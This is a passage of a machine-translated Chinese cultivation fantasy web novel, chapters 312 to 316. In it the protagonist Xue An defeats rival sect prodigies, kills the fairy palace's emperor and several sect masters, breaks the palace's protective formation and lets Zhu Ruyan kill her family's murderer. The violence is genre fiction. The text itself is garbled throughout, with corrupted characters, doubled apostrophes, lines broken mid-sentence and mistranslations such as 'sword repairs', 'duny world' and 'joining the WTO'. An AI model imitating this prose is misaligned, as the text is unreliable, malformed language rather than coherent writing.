    He was full of murderous intent towards Xue An, after all, one of his true disciples died in his hands.


    But since Feibai made a move, he didn''t bother to do it again.


    After all, in his opinion, Feibai had already sentenced this man to death.


    Unexpectedly, even Feibai would be defeated by his sword.


    But Feibai slowly got up at this moment, a trace of confusion appeared on his face.


    "What swordsmanship is this?"


    The sword in Xue An''s hand turned into countless sword lights, gradually dispersed, and then said lightly: "This is the supreme swordsman!"


    Feibai let out a sigh of relief, and suddenly he was extremely happy, "That''s it, I lost!"


    After that, he turned around and limped away.


    Xue An did not kill him either.


    There are fewer and fewer pure sword repairs in this world, kill one and one less!


    This battle, Xue Ansheng.


    The onlookers were silent.


    Many sword repairers were even more pale, and were horrified by Xue An''s just shocking sword.


    But Yuehua Jianzun''s expression changed, and then a trace of ruthlessness gradually appeared in his eyes.


    At this time, other people''s trials are also over.


    Nearly half of the people were eliminated.


    Among them, there is no shortage of those who have died.


    For example, those who were fighting Qianxuemen Cheng Lusheng were directly beheaded by this enchanting and enchanting woman, and the attack was extremely powerful.


    And the second opponent who appeared in front of Xue An was surprisingly Yayoi of Ahan Palace.


    Yayoi has just easily defeated his opponent, and now he meets Xue An, his face is no longer relaxed.


    But this monk has a very good demeanor, his hands clasped together: "Western Aham Palace, Yayoi!"


    To introduce yourself before the start of the battle is to respect your opponent.


    Xue An smiled when he heard the words, and said lightly: "Duny, Xue An!"


    The stormy waves caused by this introduction are more


    White is even bigger.


    Countless people all looked stunned.


    mundane world.......


    This name is so unfamiliar, only a part of people change their colors.


    Feibai, who has already withdrawn from the trial field, has his eyes flickering, "Are you in the duny world? It turns out that you need to go to the duny world to hone the real kendo!"


    said, Feibai made up his mind.


    On the high platform, Fairy Qianxue and the Night Witch Queen were all shocked.


    Because the original distraction of the Night Witch was directly killed by Xue An, the Night Witch didn��t know Xue An��s appearance except for the name of Xue An.


    Especially she couldn''t think of Xue An actually dare to come to Kunlun!


    Now that they heard the name, the two couldn''t help looking at each other, and both saw the killing intent in each other''s eyes.


    This person must be removed, otherwise it will become a confidant!


    Yayoi was also slightly shocked after hearing Xue An''s introduction.


    "It turned out to be a mighty power from the world, disrespectful!"


    Xue An smiled, "Stop talking nonsense! Come to fight!"


    Xue An''s fighting spirit at the moment has been completely aroused by Feibai just now.


    Yayoi stopped talking either, just whispered softly: "In that case, the donor, please take it!"


    After ���� said, Yayoi suddenly opened his eyes, and the compassion just disappeared, turning into infinite murderous aura and anger.


    And his whole body also emits an unbreakable golden light.


    "It''s King Kong angry!" someone exclaimed from below.


    "Master Yayoi has actually cultivated to the realm of a physical Arhat, and the next step is to become a physical bodhisattva!" Someone sighed.


    Yayoi turned a deaf ear to everything around him, and blasted out a punch with indifferent expression.


    This punch seemed to have knocked all the space out, and hit Xue An directly.


    And Yayoi urged the golden light of the body guard to the maximum.


    He was very jealous of Xue An''s supreme swordsmanship, so he was prepared to rely on his many years of honed Buddhism to resist a sword.


    As long as ���� has passed, then this guy will also be defeated by his own fist.


    This plan is not imperfect.


    Many onlookers also saw this attempt, and smiles appeared on their faces.


    Only Fei Bai, looking at it with a condensed expression, then whispered: "Fool!"


    Sure enough just when Yayoi''s fist was about to touch Xue An.


    Xue An smiled, "Good job!"


    Having said that, Xue An also raised his fist, banging up against everyone''s shocked eyes.


    rumbling!


    is like thunder.


    The mist mirror shattered again, but soon someone condensed again.


    Looking at the trial field again, Yayoi and Xue An fisted against each other, and both fell silent.


    Then Yayoi smiled bitterly: "It turns out that the donor is a fist and a sword. The little monk has lost!"


    After that, the golden light all over Yayoi shattered, and the whole person staggered back a dozen steps, the blood slowly flowed from the corner of his mouth, and his palms were folded together.


    "Thank you for your mercy!"


    After saying this, turned and left.


    once again defeated the Tianjiao Yayoi of Ahan Palace in the Western Regions!


    At this point, Xue An has won two consecutive games with one sword and one punch.


    The audience was shocked.


    Especially Lu Xunxue, his face was as gray as death at this moment, and his face was full of disbelief.


    She finally understood how tough this man is.


    At this moment, Xue An raised his head and said lightly: "It''s too boring to fight one by one. Next, I want to challenge everyone!"

 Chapter 312： I alone

    Many people thought they had heard it wrong.


    Then gradually all of them became strange.


    has to challenge all by one!


    This is arrogant!


    At least these masters or masters of various sects all grunted.


    "It''s so rampant!"


    "kill him!"


    The Night Witch and Fairy Qianxue both looked happy.


    In their opinion, Xue An is more arrogant now, the better!


    This will arouse public anger, and it will be easier to kill him then.


    While in the fairy palace, Haoyu Emperor who saw this scene also showed a sneer at the corner of his mouth.


    This man is kind of interesting.


    was able to defeat Feibai and Yayoi one after another, which seemed to be somewhat capable.


    But compared to myself, it''s still almost far away!


    Haoyu Emperor has this confidence in his heart.


    "Do as he said!" Hao Yuhuang said lightly.


    Zuo Yuhu nodded and said: "Yes!"


    Looking at this man, he always had some vague premonitions in his heart, so he also wished Xue An died quickly!


    soon!


    In the trial field, it changed.


    Many sects of Tianjiao all gathered together, and on the opposite side, Xue An came slowly.


    These people didn''t know what had just happened, so when they saw Xue An, they all sank.


    "What''s going on? Why are we all gathered together?" Overlord Sect Miao Haoyan asked suspiciously.


    Xue An showed a few nice teeth and smiled sensibly, "My name is Xue An, this time, I will defeat all of you alone!"


    Boom, all these Tianjiao true heirs were shocked by it, and some even shouted, "Arrogant!"


    Miao Haoyan also had a gloomy expression, and was about to refute it.


    Then he was silent.


    Because just now, the voice of the master of the Overlord Sect appeared in his mind.


    "This son is the one who killed your senior brother Jiang Nubing, and joined forces to kill him!"


    , like Miao Haoyan, received voice transmission from Shimen, as well as Qianxuemen Cheng Lusheng and Nangong Wushuang from Night Demon Palace.


    The complexions of these people all changed.


    "This son has just defeated Feibai of Yujian Villa and Yayoi of Ahan Palace. He is strong. Let us all work together to kill him!" Cheng Lusheng said loudly.


    Hearing that Xue An had such a proud record, the rest of the people were also shocked.


    "Yes! He is still from the world, kill him!" Miao Haoyan roared murderously.


    A spear gradually condenses in his hand.


    Overlord Gun!


    The fame of overlord gate.


    The rest of the people glanced at each other, then all nodded, and began to prepare for their own special skills.


    These Tianjiao true biography, the lowest cultivation level is also Sanxian, and several of them are half-step longevity!


    In this way, the momentum seemed extremely shocking.


    Xue An did not have any expression, and said indifferently: "This time, I will let you know what awe is!"


    After saying this, Xue An was full of madness, rising to a terrifying height in the blink of an eye.


    "Half-step longevity! No...how is it possible, how can there be such a strong half-step longevity?" someone exclaimed.


    As for the many sects who watched outside, their faces were even more sluggish.


    "This...what kind of monster is this guy?" Fairy Qianxue murmured in horror.


    And the emperor Hao Yuhuang''s complexion also condensed slightly, "What a powerful aura!"


    "Do it, don''t let his momentum reach the peak!" Miao Haoyan roared.


    These people just woke up like a dream, all of them used their strongest skills.


    "Overlord slashes the river in anger!"


    "Thousands of mountains and night snow are once red!"


    "Night Demon is Unbounded!"


    ����.


    Boom!


    Countless extremely powerful tricks merged into a long river and went straight to Xue An.


    Facing this trick, Xue


    But An looked up to the sky and smiled, "Don''t feel like you are looking down on sentient beings from above, you really think you are aloft! After I defeat them, you will be the next one!"


    Xue An��s words make many people bewildered.


    Only a few people sank in their hearts, faintly guessing something, and looked up at the fairy palace.


    Hao Yuhuang''s complexion turned gloomy, his eyes flashed with murderous aura.


    "Very well, dare to provoke me, then I will let you know in a moment, what can be called the Son of God!"


    At this moment, these combined attacks have rushed to Xue An.


    Xue An had no wind in his hair, raised his hand and fist, coldly shouted: "Surprise! Nothing! Extreme!"


    The last one of the six kills god!


    finally appeared in Xue An''s hands!


    Although using this technique with a half-step long-life cultivation base, at most it will exert one-thousandth of its power.


    But this is enough.


    Even time seems to be frozen.


    The face of each Tianjiao True Legend is clearly visible, and even the panic in their eyes can be seen.


    Then everything started to crack inch by inch, in an instant.


    This mighty blow disappeared.


    was seriously injured along with them, as well as these proud children from various schools!


    Boom!


    Until then, the shock wave of this blow was transmitted.


    directly destroyed the entire trial arena, including the entire trial field.


    Under the remaining power, even the outsiders have been affected.


    With a punch, the world bows its head!


    This is the style of Xue An when he was the Supreme Immortal Venerable!


    Xue An''s fighting spirit was mad at the moment, laughed loudly, jumped, turned into a streamer, and appeared in the air.


    Everyone looked at him in horror.


    Including those Tianjiao heirs who were seriously injured by a single blow, they looked at Xue An with extremely complicated eyes.


    There is resentment and panic in these eyes!


    But more, still in awe.


    "Isn''t there yet? Believe it or not, if you don''t come out again, I will demolish your so-called fairy palace?" Xue Anli said lightly in the air.


    This sentence is like a nuclear bomb, everyone who blows up is shockedWhat!


    How dare he speak out to challenge the fairy palace?


    Although Xue An��s punch just now was called a shock, but in the eyes of many people, the fairy palace is invincible!


    But some people secretly cheered, thinking that Xue An was really looking for death this time.


    At the same time, a voice that was as majestic as an emperor came.


    "You are very good, but unfortunately, I am a godless son, you are still too far away!"


    Following the voice, Hao Yuhuang''s figure appeared in the air.


    He was dressed in black, with sword eyebrows and star eyes, and his face extremely majestic.


    Many onlookers couldn��t help kneeling down after seeing him, as if they had seen a real fairy!


    "Mortal, now I give you a chance, as long as you are willing to hand over the trick you just learned, I can spare you not to die!" A look of greed flashed in Hao Yuhuang''s eyes.


    Xue An��s punch just now really surprised him.


    In his opinion, the reason why Xue An can defeat so many descendants of Tianjiao in one punch must be because of this unique technique.


    If you can get it, it will be of great benefit to your future cultivation base!


    Xue An listened and smiled faintly, "A mortal? Ha ha, the heavens and the world, I am the only immortal! And you..."


    "What kind of thing is it?"

 Chapter 313： Wan Lei came to the world

    Many people have nothing to say.


    Even some people are already looking at Xue An with the same eyes as they look at the dead.


    And Hao Yuhuang laughed.


    The laughter was full of anger and disdain.


    "Very well, you successfully angered me, now, I will let you see what is the real power!"


    With the words, the emperor Haoyu''s figure has actually risen by a few points, and his momentum has become more and more majestic and simple!


    The sky gradually became gloomy, and a series of thunder lights fell, entrenched behind Emperor Haoyu, setting him off like a heavenly emperor.


    "Yes... it''s Lei Dijue! He has been repaired!" Someone screamed in surprise!


    But more shocked.


    And Fei Bai''s complexion at the moment also gradually turned pale, he asked himself if he faced Emperor Haoyu, he would not have the slightest chance of winning.


    As for Yayoi, he shook his head and smiled bitterly at this moment.


    He thought that his cultivation level was pretty good, but this time he wanted to win a good ranking.


    But when he really faced a peerless emperor like Emperor Haoyu, he could clearly see the gap between them.


    "Lei Di, trial!" Hao Yuhuang shouted coldly.


    A huge thunder light fell from the sky and went straight to Xue An.


    But Xue An was not afraid, instead he laughed and said, "Good job!"


    said, the whole person rushed up directly.


    Boom!


    Thunder light lased, and the whole world shining bright as day.


    With such momentum, all the people who were forcing to watch the excitement withdrew all the way.


    Many people with shallow cultivation are already kneeling to the ground with amazement.


    Zhu Ruyan''s nervous face paled, and his fingers pierced the palm of his hand due to excessive force.


    As for Lu Xunxue, she has lost the ability to shock at this moment.


    This man... is it victory or defeat?


    The thunder light disappeared.


    There is no one in the air.


    Many people looked up suspiciously, but they didn''t find Xue An''s figure.


    Could it be that the thunder directly blasted into nothingness?


    Qianxue Fairy and others gradually showed joy.


    must be like this!


    Now, this man is finally dead!


    Some people couldn''t help but shout loudly: "The Emperor''s son is truly majestic!"


    Haoyuhuang smiled disdainfully.


    Is that just a matter of skill? I thought how good you would be!


    Thinking of this, Hao Yuhuang turned around and prepared to leave.


    But at this moment, above the sky, there was the sound of huge thunder rolling.


    Then there was an extremely majestic voice, "Lei Di Jue? Ha ha, a small Thor Xiaoyin, dare to claim to be so? Let''s see, what is the real Nine Heavens Thunder!"


    Hearing these words, everyone looked up in horror.


    I saw Xue An standing on the nine heavens with his hands under his shoulder, with majesty like the emperor of ten thousand realms, and he waved casually.


    I saw a huge thunder one mile wide falling straight down.


    slashed directly at Haoyu Emperor.


    Hao Yuhuang was also a little surprised, but still sneered: "Broken!"


    said, this huge thunder was directly extinguished by Haoyu Emperor.


    Then he raised his head somewhat proudly, "You..."


    I can''t say the following words.


    Because Xue An flipped his hand, he said lightly: "Wan Lei...come into the world!"


    rumbling!


    Countless huge thunders fell together, and even joined together in the air, forming a stunning divine thunder that is dozens of miles wide!


    Hao Yuhuang finally felt fear.


    "how is this possible!"


    Following his voice, these divine thunders directly hit him!


    There was a loud noise.


    The thunder light gradually dissipated.


    Everyone''s heart raised their throat.


    I don''t know what will happen this time.


    suddenly!


    A awkward cough came, and Hao Yuhuang''s figure gradually floated


    Now.


    Only at this moment, he no longer has the calmness he had just now.


    His hair was scorched and all his clothes were torn, and he looked like a beggar in embarrassment.


    He looked at Xue An in the sky with a little horror, "Why are you such a powerful Lei Jue?"


    "Is it amazing? I don''t think it!" Xue An said lightly.


    In his opinion, this Lei Jue couldn''t even compare to an introduction.


    Have you ever seen a divine thunder that is bigger than a star?


    That is the peerless divine thunder that can wipe out the fairy king capital in one blow!


    "But you didn''t die, which surprised me!" Xue An smiled faintly, "It is estimated that the thunder seal you are carrying is already broken!"


    Haoyuhuang''s face was pale.


    As Xue An said, the reason why he was able to escape from this divine thunder just now was entirely because he was carrying a thunder seal!


    But at this moment, Lei Yin has also been completely crushed!


    His aching heart is dripping blood.


    "I see if you can survive this blow!" Then Xue An wanted to do it again.


    Hao Yuhuang gritted his teeth, his eyes burning with anger and spiteful light.


    "You forced me!"


    said, the aura on Haoyuhuang''s body is getting more ancient!


    "The emperor''s master is burning his cultivation base, is this something to summon?" someone shouted in horror.


    But Xue An stopped his hand, watching with interest, and even a playful smile appeared on the corner of his mouth.


    At this moment, the sky was completely dark.


    Countless thunder lights appeared, forming an endless sea of ??thunder!


    Then, in the thunder sea, a giant holding two hammers gradually emerged!


    "Who is it, dare to disturb me!" The voice was like thunder, shaking the Quartet.


    Haoyu Emperor knelt in the air with great humility, "Master Lei Zun, this person controls the Nine Heavens God Thunder with an evil method, please kill him!"


    "God! Actually summoned the Nine Heavens Thunder Lord!" Many people murmured to themselves pale.


    And seeing this scene, almost all the people knelt on the ground and kept kowtow.


    This is a real god!


    Hearing these words from Emperor Haoyu, an extremely terrifying aura appeared on this Lei Zun.


    Even the thunder is shining, and there are small cracks in the space.


    "Mortal, you dare to use evil methods to control the divine thunder and committed an unforgivable crime. This time, I will kill you!"


    As he said, Lei Zun roared, and countless pieces of World Extinguishing God Lei that exuded a terrifying aura descended.


    The terrifying breath caused the ground to collapse into a big hole.


    Everyone was terrified.


    Lu Xunxue and Zhu Ruyan have both scared their brains blank at the moment.


    Especially Zhu Ruyan, looking at the back of the face facing countless divine thunder alone, tears filled his eyes.


    Just when everyone thought that Xue An was bound to die.


    Xue An raised his head and smiled at that Lei Zun.


    "A little god, dare to judge me?"


    This Lei Zun was taken aback.


    Then I saw Xue An taking a step, holding a virtual palm, and said lightly: "Wan Lei listen to the order!"


    Boom!


    followed his order.


    All these gods and thunders who were worthy of him came to a halt, and then they all shrank as if they had seen a real emperor.


    "How... how is it possible?" Hao Yuhuang thought he had made a mistake, and looked at him dumbfounded.


    And that Lei Zun was first startled, and then shouted in horror: "You...Who are you?"


    Xue An smiled faintly, "I said, I am... duny, Xue An!"

 Chapter 314： Whatever was imposed on others, return to yourself!

    "No...!" This Lei Zun suddenly understood something, "My lord, please forgive me!"


    But he only said these words, and then the body constructed of thunder light burst into pieces, and countless thunder rays gathered in the palm of Xue An''s palm. At the core, there was a faint person worshiping.


    That is where the soul of this Lei Zun is.


    At this moment, this Lei Zun''s heart is full of regret and fear.


    He finally understood why this person could order the thunder!


    Because... his status is simply noble and beyond words!


    Compared to him, let alone himself, the Thunder God and even the supreme Lord Lei Di, who is in charge of the Ten Thousand Realms Lei Zun, have to bow their heads in front of him!


    It''s too late to regret.


    Xue An didn''t kill him either. He just waved it and sealed it in one place, and then looked at Hao Yuhuang who could fit three duck eggs with his mouth open and smiled faintly.


    "Now, what else is there for fun? Let''s make it together!"


    He actually cares about these fun things?


    Haoyu Emperor trembled all over, then trembled, "You...you..."


    He really doesn''t know what to say.


    The Lord Lei Zun who he worshipped, was directly surrendered by him!


    This fact made his heart cold.


    What is his background, and why is he so strong?


    But Xue An was not interested in answering his questions. Seeing that he looked uncertain, he nodded and said, "Since there is no more, then go to death!"


    As he said, Xue An stepped forward, and the divine thunder that had just been suppressed suddenly exploded.


    Haoyu Emperor yelled "Spare!"


    The sound stopped abruptly!


    Because his whole body was struck by the thunder light into nothingness.


    Before the soul even had time to run out.


    This hand made all practitioners feel terrified.


    For them, if their bodies are destroyed, there is one last chance, which is to keep their souls immortal and wait for a good time, maybe they can come back!


    But if even the soul is shattered, then there is no chance for reincarnation!


    Xue An looked down at the people on the high platform and said lightly, "Since we are here today, let''s end it together!"


    As soon as the voice fell, Yuehua Sword Sovereign had already risen into the sky.


    "Boy, don''t think it can be done by killing an emperor! I wait for my cultivation to be better than him!"


    Yue Hua Jianzun is right!


    In terms of cultivation level, they are better than the emperor.


    If you really want to talk about the realm of practice, then you are not as good as the emperor.


    After all, Emperor Haoyu cultivated a secret that was not passed on by the fairy palace.


    Lei Dijue!


    This opens the gap.


    But Yuehua Sword Sovereign can''t take care of that much anymore. He has just discussed with Bawangmen and Fairy Qianxue, this time he wants to deal with Xue An together.


    Otherwise, this person will definitely become a confidant!


    So when Yue Huaxianzun soared into the sky, Fairy Qianxue, Emperor Night Witch and others all rushed over.


    When the enemy meets, I am naturally jealous.


    Especially the Night Witch Empress, can''t wait to eat Xue An in one bite!


    But when Xue An saw her, her eyes were getting colder.


    This woman has tortured Fan Mengxue''s soul for so long. Although Xue An was squeezed and distracted by Xue An, she could not shirk the crime of distraction!


    "The surname Xue, you killed my true disciple, this account, I will calculate it with you today!" Fairy Qianxue exclaimed.


    Xue An��s cultivation level just now made her terrified.


    Now that there are several sect masters working together, you should take this opportunity to kill him!


    Otherwise, there are endless troubles!


    Xue An nodded, "Very well, then I will settle this account with you!"


    After saying this, Xue An took a step and punched!


    boom!


    The sect master of the Overlord Sect in front of him was directly exploded physically.


    The soul comes out, without fear


    Than wanted to escape.


    Xue An stretched out his hand, took hold of the soul, and then held it slightly.


    Soul crush!


    In a breath!


    The master of the Overlord Sect is so soulless!


    The remaining few people all looked terrified.


    "Go together!" Yuehua Sword Sovereign shouted, and at the same time he swung a sword.


    Boom!


    A sword-like energy like a moon pierced Xue An.


    is more than a hundred times stronger than the sword used by Shang Tianhe on that day.


    But Xue An didn''t have any expressions at all.


    At this moment, his fighting spirit is crazy!


    Countless sword lights rose up into the sky, directly smashing the sword of Yuehua Sword Sovereign, and then rushing directly at him.


    Yuehua Sword Sovereign shouted in horror, "No!"


    But these sword awns were like tarsal maggots, directly submerging them, and after a while, Yuehua Sword Master died away.


    Feibai''s expression was shocked, and he muttered, "This sword..."


    In his words, there was no pain from the killing of his uncle. It seems that in his eyes, everything in the world is not as important as a sword.


    When Yuehua Jianzun died.


    Xue An hit Fairy Qianxue with another punch.


    directly blasted this fairy Qianxue hundreds of meters away, vomiting blood, and then turned around in horror and ran away.


    But just a few steps after running out, he was covered by the sword light, screamed, still dead!


    now!


    There is only one night witch emperor in the field!


    When she saw Xue An''s gaze toward her, the Night Witch Empress was trembling all over, and she walked back slowly.


    Xue An smiled faintly, "Do you know what I keep you to the end?"


    The Night Witch Emperor did not dare to speak.


    "Because, what you have added to others, I will let you take it too!" Xue An said lightly.


    The Night Witch Emperor finally couldn''t control the fear in her heart, turned around and ran.


    But as soon as the Night Witch Emperor flew out a few miles away, Xue An''s figure appeared in front of her, and then pinched her.


    "Spare... forgive me!" The Night Witch Queen struggled and shouted, her face full of horror!


    "It''s useless I said, it must be killed!" Xue An said lightly.


    The Night Witch Emperor finally felt regret.


    And Xue Ann��s vast sea of ??divine thoughts have already invaded her spiritual world, and directly detained her divine soul.


    In the spiritual world of the Night Witch, Xue An is like a nine-day god, saying in a majestic voice, "This is the fruit of your work!"


    said, a wisp of white flame appeared on the soul of the night witch emperor.


    The endless pain made her howl.


    Xue An withdrew from the spiritual world and watched quietly.


    It��s just a blink of an eye outside, but a month��s long time has passed in the spiritual world of the Night Witch Emperor.


    Then, Xue An suddenly tried hard!


    Click!


    The Night Witch Emperor��s neck was chopped off, and she died absolutely.


    But before she died, what appeared on her face was not panic, but extremely happy relief!


    After all, death will be the best relief compared to the kind of pain that comes from the depths of the soul.


    Since then, Xue An has killed all the opponents!


    Everyone stared blankly.


    No one dared to speak.


    But Xue An raised his head, looked at the high fairy palace, and said lightly "Where is Zuo Yuhu!"

 Chapter 315： Speak out

    Above the fairy palace.


    Zuo Yuhu looked at what happened below with a look of astonishment.


    Until now, he still couldn''t accept the fact that the emperor Haoyu Emperor was dead.


    It wasn''t until Xue An said his name that he trembled all over and gradually came to his senses.


    what happened?


    How does he know my name?


    Zuo Yuhu was uncertain in his heart, but he couldn''t help but poked his head out and said in a sharp tone, "The surname is Xue, you dare to kill my Emperor of the Immortal Palace, you are dead! When my lord returns, you will be broken. Ten thousand corpses!"


    Xue An ignored him, but pointed at Zhu Ruyan in the crowd.


    A sword gas rushed away.


    The crowd exclaimed, not knowing what Xue An was going to do.


    Zhu Ruyan felt light all over, and then flew up.


    Xue Andu gave Zhu Ruyan a sword gas, causing her to fly closer.


    And when Zuo Yuhu above the fairy palace saw Zhu Ruyan, he didn''t recognize who it was at first.


    Zhu Ruyan raised his head and stared at Zuo Yuhu, his eyes flashing with angry light.


    "Zuo Yuhu, do you still recognize me?"


    "you are����."


    "Seven years ago, do you remember the Zhu family who was wiped out by you?" Zhu Ruyan said coldly.


    "You...are you from the Zhu family?" Zuo Yuhu exclaimed.


    "Yes, this time, I am here to avenge you! Forty-eight lives in Zhu''s family, it''s time to pay back!" Zhu Ruyan said bitterly.


    Zuo Yuhu''s complexion is cloudy.


    But after a while, his complexion gradually calmed down, and he sneered, "It turned out to be the remnant of the Zhu family, but unfortunately you were not removed at the time! I admit that I killed your family back then!"


    "But what can you do with me?"


    Zuo Yuhu said as he said, he became proud, "The helper you are looking for this time is indeed very powerful. You can actually kill the Emperor of the Fairy Palace, but he offended our Fairy Palace. How long can he live?"


    Zhu Ruyan was said to be pale, and his eyes were full of humiliation and anger.


    Xue An frowned slightly, and a blast of sword energy rushed straight into the sky, beheading Zuo Yuhu in the fairy palace.


    Ding!


    A faint silver light suddenly appeared in the midair, directly blocking the sword energy.


    Zuo Yuhu laughed triumphantly, "Xue An, I admit that you have a good level of cultivation, but unless the people of the Immortal Palace take the initiative to go down, no one can break this mountain protection formation!"


    This is where Zuo Yuhu''s confidence lies.


    The mountain guarding formation of the Immortal Palace was built by the master of the Immortal Palace by Jinxianxiu and several elders.


    That''s why he dared to be so rampant.


    Xue An frowned slightly, and countless sword qi went straight into the sky.


    But this time, the silver light of the mountain guarding formation just appeared brighter than before.


    These sword auras still haven''t shaken it at all!


    "Xue An, don''t waste your efforts. How can you break this mountain protection formation? It''s just that my palace lord and the elders are all going out, so you can live for a while! Otherwise, you will be killed. Killed on the spot!"


    "I advise you to go back as soon as possible and find a place to wait for death honestly!"


    Zuo Yuhu said with a sneer.


    Zhu Ruyan''s heart gradually sank.


    She finally understood how difficult it is to kill a Zuo Yuhu.


    As long as he can''t shrink, no one in Kunlun Wonderland can help him.


    And what he just said made Zhu Ruyan''s heart full of worry.


    "My lord, you are a mundane person, or you should leave as soon as possible! Otherwise, as Zuo Yuhu said, you will be in trouble!" Zhu Ruyan paused and continued.


    "You have done enough for me, Ruyan is very grateful, your great kindness will not be repaid in this life, and you will be a cow and a horse in the next life!"


    Zhu Ruyan talked, and tears fell down.


    This girl no longer wants revenge!


    The crowd gradually became silent,


    Many people''s faces are a little sad.


    For so many years, Immortal Palace has always acted domineeringly, this time Xue An turned out to be born, which originally dealt a heavy blow to Immortal Palace.


    Until then, many people discover that the fairy palace is still so high and indestructible!


    Tears also appeared in Lu Xunxue''s eyes, and she couldn''t help but shouted, "My lord, go quickly! Otherwise, you won''t be able to leave!"


    "Yeah! Let''s go!"


    Many people started to clamor.


    This scene made Zuo Yuhu above the fairy palace look gloomy, and said angrily, "A group of untouchables actually help people from outside to oppose the fairy palace! I will kill it in the future!"


    But in the midst of these shouts, Xue An, who had been drooping his eyebrows, slowly raised his head, and his eyes were like galaxies.


    "I said." Xue An said lightly, her voice was not loud, but everyone present could hear clearly.


    "In my eyes, you are not immortals! So your attitude of supremacy makes people laugh!"


    Xue An''s words make many people feel very tight.


    "Joke, who do you think you are? Are you a fairy? Do you still need to judge?" Zuo Yuhu''s face was uncertain, and then he grinned.


    Xue An nodded slightly, "You''re right! It''s a fairy, I''m the only one who decides! It''s for... to speak out!"


    After saying this, Xue An turned into a streamer and went straight for nine days.


    hum!


    seems to feel a strong threat.


    The mountain guarding formation of the Immortal Palace suddenly became extremely bright, and the silver light was flourishing, blocking Xue An''s advancement.


    Xue An stood in the air. After looking at the silver light, Zuo Yuhu and others looked in shock, and said lightly, "Today, I will break your fairy palace!"


    As he said, Xue An took a step in the void, raised his fist, and drank lightly.


    "One punch, destroy the world!"


    The upgraded version of the first type of the six kills god.


    is also the strongest punch Xue An has made since joining the WTO.


    The fist hit the silver light like an understatement.


    Then, the silver light began to flicker violently, and even the shrouded fairy palace began to tremble slightly.


    Zuo Yuhu was horrified.


    "How... how is it possible!"


    But after all, it is the mountain guarding formation built by Jinxian Although this punch dimmed the silver light a lot, it still firmly protected the fairy palace.


    Zuo Yuhu breathed a sigh of relief, a smug smile appeared on the corner of his mouth.


    "It''s so lively, I thought it was so great, but the result is not the same?"


    But as soon as his voice fell, Xue An raised his left hand high above his head, turned the sword with his hand, and yelled, "Wait for the truth, this is the real sword of destruction!"


    An incomparably condensed sword intent rushes straight into the sky, and the trouble is changing within a hundred miles!


    The sword repairers below were all dazzled!


    Feibai stared blankly with an extremely stunning gaze, and his mind was extremely shaken.


    It turns out that this is his true strength!


    It is ridiculous that I was thinking about cultivating kendo diligently, and then catching up with him! It turned out to be just wishful thinking!


    At this moment, in the extremely horrified eyes of Zuo Yuhu and others, a huge sword light that was seven or eight miles long fell down.


    The silver light of the mountain guarding formation only resisted less than one breath, and then it broke!


    Zuo Yuhu shouted in despair, "Don''t..."


    But in the next second, he was rushed in by Xue An, pinched his neck and flew out, and then threw it in front of Zhu Ruyan.


    "People give you, you kill yourself!"

 Chapter 316： Kunlun vibration

    Zuo Yuhu knelt in the air, he didn''t want to run away, but just now Xue An pinched his hand and his cultivation was sealed.


    After all, he is the pinnacle of heaven and man!


    In front of Xue An, his cultivation base is not even a ant.


    If not for the power of the fairy palace, he would have been killed countless times in the past few years.


    He thought he would be like this mighty fairy palace, always on top.


    Unexpectedly, today I met such a peerless killer.


    Zhu Ruyan looked at Zuo Yuhu, his eyes were red, and gritted his teeth and said, "Traitor, when you killed my family, did you ever think about today?"


    Then he pulled out a dagger he carried with him, and walked forward.


    Zuo Yuhu''s face was as gray as death, and his body trembled. He knew that begging for mercy was useless, but in the face of the fear of death, he couldn''t help shouting.


    "Spare!"


    ��!


    Zhu Ruyan pierced Zuo Yuhu''s chest with a sword, and said murderously: "My father begged for mercy that day, have you let them go?"


    Zuo Yuhu was so painful, but unable to move, he could only look at Zhu Ruyan with desperate eyes.


    "When you killed my family forty or so, did you ever want to let it go?"


    Zhu Ruyan stabs again with a sword.


    asked aloud, accompanied by the sword fall again and again.


    Blood splashed on the ground, Zuo Yuhu was quickly pierced into a sieve, and finally died in pain.


    Seeing that Zuo Yuhu was really dead, Zhu Ruyan threw away his short sword and cried loudly.


    "Father, brother! I did it! I avenged you!"


    The cries are like cuckoo weeping blood, which is moving.


    After crying for a while, Zhu Ruyan bowed to Xue Anyingying, "My lord, I am Zhu Ruyan, and I would like to serve you forever! If this wish is violated, the world will not tolerate it!"


    Xue An just smiled non-committal about this, "Okay! The grievance has been reported, and there is nothing interesting here! Let''s go!"


    After that, Xue An took Zhu Ruyan into streamer and disappeared into the sky.


    After he left, there was a brief death in the audience, and then there was a commotion.


    Someone sighed, "From then on, Kunlun will be troublesome!"


    These people''s concerns are not unreasonable.


    Since the day when there was a fairy palace, he has been aloof, no one dares to show any disrespect to it.


    But today, Xue An cuts the emperor''s son, destroys the fairy palace and protects the mountain, and kills Zuo Yuhu!


    Combining these things, it is no longer as simple as slapping your face!


    Instead, he kicked it to the ground and stepped on it madly!


    It is conceivable that when the Lord of the Immortal Palace and the elders return, how angry it will be to see this scene!


    When the time comes, this tyrannical man, I don''t know if he can carry it.


    Waiting for people to separate.


    What happened in the main city of Kunlun today spread like a hurricane.


    For a time, the whole Kunlun was shaken!


    "What? Someone actually defeated the true biography of Tianjiao of all schools?" Someone exclaimed in disbelief.


    "Not only that, even the emperor of the fairy palace was beheaded by him! It also broke the mountain protection formation of the fairy palace!"


    hiss!


    Everyone who heard the news took a breath.


    The senior sects of the major families were all shocked by it, and they immediately dispatched their capable men to start to investigate the reality.


    and other detailed passages are placed on the table of every family sect.


    These big figures who are usually aloof all lost their voices collectively.


    Because of everything that happened, it was too horrible!


    Sword defeated the descendant of Yujian Villa Tianjiao, Feibai, fisted back the chief Shinden Yayoi of Ahan Palace, and even defeated all the descendants of all sects by himself.


    Then he killed the Emperor of the Immortal Palace, and killed several heads or elders of the martial arts!


    finally blasted through the fairy palace guarding the mountain formation and annihilated the fairy palace enemies.


    The combination of these things is really chilling!


    all


    How big guys are all surprised!


    How tough is this man?


    Yujian Villa!


    When the news reached here, Wubucheng, the head of Yujian Villa, immediately summoned several elders for discussion.


    In listening to the sword pavilion, someone told what happened.


    After listening to this, Wu Bookcheng''s eyes flickered, and then he sighed, "This son appeared in the red world, and it is my Kunlun who deserves this disaster!"


    Then he said with a solemn expression: "In this matter, Fu Wuliang, the lord of the fairy palace, will never give up. I, Yujian Villa, should watch the changes!"


    "Good!" All the elders also agreed.


    Although Yujian Villa has been dead for a month, Hua Jianzun, but compared to the loss of the fairy palace, it is almost negligible!


    After all, the emperor has spent countless resources to create the first young master in the world!


    His death hit Xiangong extremely hard.


    Qingmu Town.


    Since Xuan Yuanzong was destroyed, Bian Qingmu''s life has been much better.


    This small town has gradually become prosperous.


